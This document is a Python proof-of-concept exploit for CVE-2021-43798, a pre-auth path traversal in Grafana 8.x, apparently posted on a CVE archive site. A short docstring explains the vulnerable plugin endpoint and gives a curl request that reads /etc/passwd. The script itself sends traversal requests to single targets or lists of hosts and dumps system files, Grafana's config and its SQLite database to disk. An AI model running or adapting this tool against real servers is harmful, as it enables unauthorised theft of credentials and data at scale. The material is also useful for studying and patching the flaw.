4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

"""
# CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607

## Disclaimer

This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.

In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.

## Table of Content

* [Explanation](#Explanation) - Explaining the vulnerability
* [Attack Vectors](#Attack-Vectors) - List of attacks you can carry out
* [Exploit Script](#Exploit-Script) - Exploit script usage

## Explanation

I noticed a [tweet by j0v](https://twitter.com/j0v0x0/status/1466845212626542607) claiming to have found a Grafana path
traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a
pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from
the user.

Grafana has a public API endpoint, `/public/plugins/:pluginId`, which allows you to view a plugin's assets. This works
by providing a valid `:pluginId` and then specifying the file path, such as `img/logo.png`. However, Grafana fails to
sanitize the user provided file path, leading to path traversal.

The directory being accessed is at `<grafana>/public/app/plugins/panel/<pluginId>`. On a standard Grafana installation,
the Grafana data directory is `/usr/share/grafana`. So by going back 8 directories, you can reach the filesystem root
directory.

HTTP Request:

```
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```

Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

**Note: This does not work in the browser (which automatically collapse the `../` in the path)**

It can be tested with curl by using the `--path-as-is` argument:
```
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```"""

import aiohttp
import asyncio
import argparse
import yarl
import re
from colorama import Fore, Back, Style, init
import logging
init(autoreset=True)


class Colors:
    def red(self, data):
        print(Fore.RED + data)
    def blue(self, data):
        print(Fore.BLUE + data)
    def green(self, data):
        print(Fore.GREEN + data)
    def yellow(self, data):
        print(Fore.YELLOW + data)


def check_res(text, file):
    if file == 'passwd':
        if re.findall(':x:0:0:', text):
            return True
        return False
    elif file == 'defaults.ini':
        if re.findall('##################### Grafana Configuration Defaults #####################', text):
            return True
        return False
    elif file == 'grafana.db':
        if re.findall('SQLite format', text):
            return True
        else:
            return False
    else:
        print('Cannot check a file I do not know. Try /etc/passwd or disable -c')



async def retrieve(target):
    # logging.basicConfig(filename='exploit.log', level=logging.INFO)

    async with aiohttp.ClientSession() as session:
        if args.dump_config:
            url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../conf/defaults.ini', encoded=True)
            file = 'defaults.ini'

        elif args.database:

            url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db', encoded=True)
            file = 'grafana.db'
        else:
            file = 'passwd'
            url = yarl.URL(f'{target}' + f'/public/plugins/alertlist/../../../../../../../../{args.target_file}', encoded=True)
        print('URL: ' + url.name)
        print('PATH: ' +url.path)

        async with session.get(url
                               ) as response:
            print(response.url)
            c.yellow(f"Status: {response.status}")
            c.yellow(f"Content-type:{response.headers['content-type']}")

            html = await response.text()

            # soup = BeautifulSoup(html)
            if response.status == 200:


                if args.check_output:
                    if check_res(text=html, file=file):
                        c.red(f'SUCCESS: {target}')
                        print(html)
                else:
                    c.red(f'SUCCESS: {target}')
                    print(html)
                if args.write_file:
                    target = target.strip('https://')
                    with open(args.write_file + '/'+ target + '_' + file, 'w') as f:
                        f.write(html)



def main():

    if args.target:
        task = asyncio.ensure_future(retrieve(args.target))
        loop.run_until_complete(asyncio.wait([task]))
    else:
        c.blue(f'Parsing {args.input_list}')
        with open(args.input_list, 'r') as i:
            i = i.readlines()
            for line in i:
                line = line.strip('\r\n')
                url = line.format(i)
                task = asyncio.ensure_future(retrieve(url))
                tasks.append(task)


        try:
            loop.run_until_complete(asyncio.wait(tasks))
        except Exception as fuck:
            print('error:', fuck)

targets = []
tasks = []
cmds = []
loop = asyncio.get_event_loop()
c = Colors()
args = argparse.ArgumentParser()
args.add_argument('-l', '--list', dest='input_list', type=str, help='Input list of ip:port')
args.add_argument('-db', '--database', dest='database', action='store_true', help='Dump db')
args.add_argument('-cfg', '--config', dest='dump_config', action='store_true', help='Dump config')
args.add_argument('-c', '--check', dest='check_output',  action='store_true', help='Enable output regex checking (Suppress false positives)')
args.add_argument('-t', '--target', dest='target', type=str, help='Single target')
args.add_argument('-f', '--file', dest='target_file', type=str, default='/etc/passwd', help='Remote target file')
args.add_argument('-w', '--write', dest='write_file', default=None, type=str, help='Directory to write files to.')
args.add_argument('-v', '--verbosity', dest='verbosity', action='count', help='Verbosity')
args = args.parse_args()

if __name__ == '__main__':
    main()